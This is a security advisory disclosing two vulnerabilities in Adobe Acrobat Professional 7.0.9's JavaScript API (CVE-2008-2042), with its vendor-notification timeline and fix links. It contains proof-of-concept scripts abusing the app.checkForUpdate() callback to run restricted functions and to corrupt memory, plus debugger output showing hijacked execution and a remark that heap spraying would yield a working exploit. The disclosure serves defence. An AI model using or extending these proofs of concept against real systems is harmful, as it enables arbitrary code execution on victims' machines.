Adobe Acrobat Professional Javascript For PDF Security Feature Bypass
and Memory Corruption Vulnerabilities

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net


Summary:

    Two critical vulnerabilities exist in the javascript API of Adobe
Acrobat Professional 7. A remote attacker who successfully exploits
these vulnerabilities can execute restricted functions and arbitrary
codes on the affected system.


Affected Software Versions:

    Adobe Acrobat Professional 7.0.9



Details:

    These two vulnerabilities specially exist in an unpublicized
fucntion called "app.checkForUpdate()", which are exploited through a
callback function.

    Following is the POC for how to execute restricted functions:

  function  myCallBack()
  {
    app.alert("It will call app.newDoc()");
    app.newDoc();
    app.alert("function has been called");
  }

  app.checkForUpdate
  ({
    cType:"AAAA",
    cName:"BBBB",
    oCallback:myCallBack,
    cVer:"CCCC",
    cMsg:"DDDD",
    oParams:myCallBack
  });


    As we know, when we call "app.newDoc()" normally, the function can
not be executed because of the security feature of PDF's javascript,
but the above code can still execute this function successfully, other
restricted functions can also be executed by exploiting this
vulnerability.

    The POC for triggering the memory corruption vulnerability:

  function  myCallBack()
  {
    app.alert("Corrupting the memory");

    // Open a new report will corrupt the memory
    var rep = new Report();

    app.alert("If the application has not been crashed, try to close the
application and then you will get it.");
  }

  app.checkForUpdate
  ({
    cType:"AAAA",
    cName:"BBBB",
    oCallback:myCallBack,
    cVer:"CCCC",
    cMsg:"DDDD",
    oParams:myCallBack
  });


    When we call the function "new Report()"(other functions maybe
useful too) in the function "Callback", it will corrupt the memory.
Debug informations from Windbg as follows:

  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=0946fb98 ebx=00000040 ecx=10101010 edx=0946fb90 esi=0946eaea edi=01c1dfbc
  eip=10101010 esp=0012f6cc ebp=0012f77c iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
  exlang32+0x101010:
  10101010 001b            add     byte ptr [ebx],bl          ds:0023:00000040=??
  0:000> u eip
  exlang32+0x101010:
  10101010 001b            add     byte ptr [ebx],bl
  10101012 6c              ins     byte ptr es:[edi],dx
  10101013 0000            add     byte ptr [eax],al
  10101015 1b640000        sbb     esp,dword ptr [eax+eax]
  10101019 336000          xor     esp,dword ptr [eax]
  1010101c 0033            add     byte ptr [ebx],dh
  1010101e 60              pushad
  1010101f 0000            add     byte ptr [eax],al

    It is running codes at an unexpected address.

    Using the heap spray technology of javascript in PDF can develop a
working exploit for this vulnerability easily.

    Note that because the special API does NOT exist in Adobe
Reader/Acrobat 8, as my test, the vulnerability does NOT affect Adobe
Reader/Acrobat 8.



Solution:

    Adobe has released an advisory for this vulnerability which is available on:

    http://www.adobe.com/support/security/bulletins/apsb08-13.html

    Fortinet advisory can be found at:

    http://www.fortiguardcenter.com



CVE Information:

    CVE-2008-2042



Disclosure Timeline:

    2007.11.01        Vendor notified via email
    2007.11.02        Vendor responded
    2008.05.06        Coordinated public disclosure    



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